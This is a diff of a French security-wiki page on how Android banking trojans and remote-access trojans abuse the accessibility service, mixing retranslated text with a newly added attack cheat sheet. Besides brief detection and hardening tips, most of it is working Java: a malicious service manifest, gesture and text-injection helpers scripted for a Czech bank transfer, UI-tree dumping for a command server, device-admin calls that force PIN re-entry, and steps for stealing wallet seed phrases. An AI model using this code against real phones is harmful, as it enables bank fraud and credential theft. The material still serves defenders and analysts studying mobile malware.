-`AccessibilityService` a été créé pour aider les utilisateurs handicapés à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres superposées…) peuvent être utilisées par des logiciels malveillants pour obtenir **un contrôle à distance complet** de l'appareil _sans privilèges root_.
+`AccessibilityService` a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un **contrôle total à distance** du téléphone _sans privilèges root_.

-Les chevaux de Troie bancaires Android modernes et les chevaux de Troie d'accès à distance (RAT) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :
+Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :

-1. Manipuler la victime pour qu'elle active un service d'accessibilité malveillant (la permission *BIND_ACCESSIBILITY_SERVICE* est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
-2. Tirer parti du service pour
-* capturer chaque événement UI et texte qui apparaît à l'écran,
-* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche souhaitée par l'opérateur,
-* dessiner des superpositions plein écran au-dessus des applications légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
-* accorder silencieusement des permissions d'exécution supplémentaires en cliquant sur les dialogues système au nom de la victime.
-3. Exfiltrer des données ou effectuer **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran parfaitement normal.
+1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la *BIND_ACCESSIBILITY_SERVICE* permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
+2. Exploiter le service pour
+* capturer chaque événement UI et tout texte affiché à l'écran,
+* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche désirée par l'opérateur,
+* dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
+* accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime.
+3. Exfiltrer des données ou réaliser du **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran apparemment normal.

 ---

-## Demande de permission
+## Demander la permission
 ```xml
 <!-- AndroidManifest.xml -->
 <service
@ -34,7 +34,7 @@ android:exported="false">
 android:resource="@xml/evil_accessibility_config"/>
 </service>
 ```
-Le fichier XML compagnon définit à quoi ressemblera la boîte de dialogue factice :
+Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue :
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@ -46,8 +46,7 @@ android:canPerformGestures="true"
 android:canRetrieveWindowContent="true"/>
 ```
 ---
-
-## Primitives d'automatisation UI à distance
+## Primitives d'automatisation de l'interface utilisateur à distance
 ```java
 public class EvilService extends AccessibilityService {
@Override
@ -68,17 +67,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
 }
 }
 ```
-Avec seulement ces deux API, un attaquant peut :
-* Déverrouiller l'écran, ouvrir l'application bancaire, naviguer dans son arbre UI et soumettre un formulaire de transfert.
-* Accepter chaque boîte de dialogue de permission qui apparaît.
-* Installer/mettre à jour des APK supplémentaires via l'intention du Play Store.
+Avec seulement ces deux APIs, un attaquant peut :
+* Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement.
+* Accepter toutes les boîtes de dialogue de permission qui s'affichent.
+* Installer/mettre à jour des APK supplémentaires via l'intent Play Store.

 ---

-## Modèles d'abus
+## Schémas d'abus

-### 1. Phishing par superposition (Collecte de données d'identification)
-Un `WebView` transparent ou opaque est ajouté au gestionnaire de fenêtres :
+### 1. Overlay Phishing (Credential Harvesting)
+Un `WebView` transparent ou opaque est ajouté au window manager :
 ```java
 WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
 MATCH_PARENT, MATCH_PARENT,
@ -87,41 +86,41 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real
 PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
-La victime saisit des identifiants dans le faux formulaire pendant que l'application en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "dessiner par-dessus d'autres applications" n'est jamais affichée.
+La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "draw over other apps" n'est jamais affichée.

-> Exemple détaillé : la section *Phishing par superposition d'accessibilité* dans la page Tapjacking.
+> Exemple détaillé : la section *Accessibility Overlay Phishing* à l'intérieur de la page Tapjacking.

-### 2. Automatisation de fraude sur l'appareil
-Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes de bas niveau ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement l'authentification multi-facteurs liée à cet appareil.
+### 2. Automatisation de la fraude sur l'appareil
+Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil.

-### 3. Diffusion et surveillance d'écran
-En combinant l'**API MediaProjection** avec une bibliothèque cliente RTMP, le RAT peut diffuser le framebuffer en direct à `rtmp://<c2>:1935/live/<device_id>`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur d'accessibilité pilote l'interface utilisateur.
+### 3. Screen streaming & monitoring
+En combinant la **MediaProjection API** avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers `rtmp://<c2>:1935/live/<device_id>`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI.

 ---

-## PlayPraetor – flux de travail de commande et de contrôle
+## PlayPraetor – workflow de command & control

-1. **Heartbeat HTTP(S)** – itérer sur une liste codée en dur jusqu'à ce qu'un domaine réponde `POST /app/searchPackageName` avec le C2 actif.
+1. **HTTP(S) heartbeat** – itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à `POST /app/searchPackageName` avec le C2 actif.
 2. **WebSocket (port 8282)** – commandes JSON bidirectionnelles :
-* `update` – pousser de nouvelles conf/APKs
-* `alert_arr` – configurer des modèles de superposition
+* `update` – push de nouvelles conf/APKs
+* `alert_arr` – configurer les templates d'overlay
 * `report_list` – envoyer la liste des noms de packages ciblés
-* `heartbeat_web` – maintenir la connexion
-3. **RTMP (port 1935)** – diffusion en direct d'écran/vidéo.
-4. **Exfiltration REST** –
-* `/app/saveDevice` (empreinte)
+* `heartbeat_web` – keep-alive
+3. **RTMP (port 1935)** – streaming d'écran/vidéo en direct.
+4. **REST exfiltration** –
+* `/app/saveDevice` (fingerprint)
 * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (identifiants bancaires)
+* `/app/saveCardPwd` (bank creds)

 Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques.

 ---

-## Détection des services d'accessibilité malveillants
+## Détection des services Accessibility malveillants

 * `adb shell settings get secure enabled_accessibility_services`
-* Paramètres → Accessibilité → *Services téléchargés* – rechercher des applications qui ne proviennent **pas** de Google Play.
-* Les solutions MDM / EMM peuvent appliquer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
+* Settings → Accessibility → *Downloaded services* – rechercher des apps qui ne proviennent **pas** de Google Play.
+* Les solutions MDM / EMM peuvent imposer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
 * Analyser les services en cours d'exécution :
 ```bash
 adb shell dumpsys accessibility | grep "Accessibility Service"
@ -129,17 +128,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service"

 ---

-## Recommandations de renforcement pour les développeurs d'applications
+## Recommandations de durcissement pour les développeurs d'apps

 * Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
-* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/superposition.
-* Détecter les superpositions en interrogeant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
-* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un service d'accessibilité non fiable est actif.
+* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/overlay.
+* Détecter les overlays en sondant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
+* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un Accessibility service non approuvé est actif.
+
+---
+
+## Aide-mémoire d'automatisation ATS (Accessibility-driven)
+Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques :
+```java
+// Helpers inside your AccessibilityService
+private List<AccessibilityNodeInfo> byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Exemple de flux (tchèque → étiquettes en anglais) :
+- "Nová platba" (Nouveau paiement) → cliquer
+- "Zadat platbu" (Saisir le paiement) → cliquer
+- "Nový příjemce" (Nouveau bénéficiaire) → cliquer
+- "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et `ACTION_SET_TEXT`
+- "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN
+
+Fallback : coordonnées codées en dur avec `dispatchGesture` lorsque la recherche de texte échoue en raison de widgets personnalisés.
+
+Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert.
+
+## Pseudo-streaming d'écran textuel
+Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
+}
+```
+Ceci constitue la base pour des commandes comme `txt_screen` (one-shot) et `screen_live` (continuous).
+
+## Device Admin coercion primitives
+Une fois qu'un Device Admin receiver est activé, ces appels augmentent les opportunités de capturer des credentials et de maintenir le contrôle :
+```java
+DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+ComponentName admin = new ComponentName(this, AdminReceiver.class);
+
+// 1) Immediate lock
+dpm.lockNow();
+
+// 2) Force credential change (expire current PIN/password)
+dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
+
+// 3) Disable biometric unlock to force PIN/pattern entry
+int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+dpm.setKeyguardDisabledFeatures(admin, flags);
+```
+Note : la disponibilité exacte de ces politiques varie selon la version d'Android et l'OEM ; validez le rôle de la device policy (admin vs owner) pendant les tests.
+
+## Crypto wallet seed-phrase extraction patterns
+Flux observés pour MetaMask, Trust Wallet, Blockchain.com et Phantom :
+- Déverrouiller avec le PIN volé (capturé via overlay/Accessibility) ou le mot de passe du wallet fourni.
+- Naviguer : Paramètres → Sécurité/Récupération → Révéler/Afficher la phrase de récupération.
+- Récupérer la phrase via keylogging des nœuds de texte, contournement de secure-screen, ou OCR de capture d'écran lorsque le texte est masqué.
+- Prendre en charge plusieurs locales (EN/RU/CZ/SK) pour stabiliser les sélecteurs – préférer `viewIdResourceName` quand disponible, sinon se rabattre sur la correspondance de texte multilingue.
+
+## NFC-relay orchestration
+Les modules Accessibility/RAT peuvent installer et lancer une app dédiée de NFC-relay (p. ex. NFSkate) comme troisième étape et même injecter un guide en overlay pour accompagner la victime à travers les étapes de relai avec carte présente.
+
+Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay

 ---

 ## Références
 * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
 * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
+* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}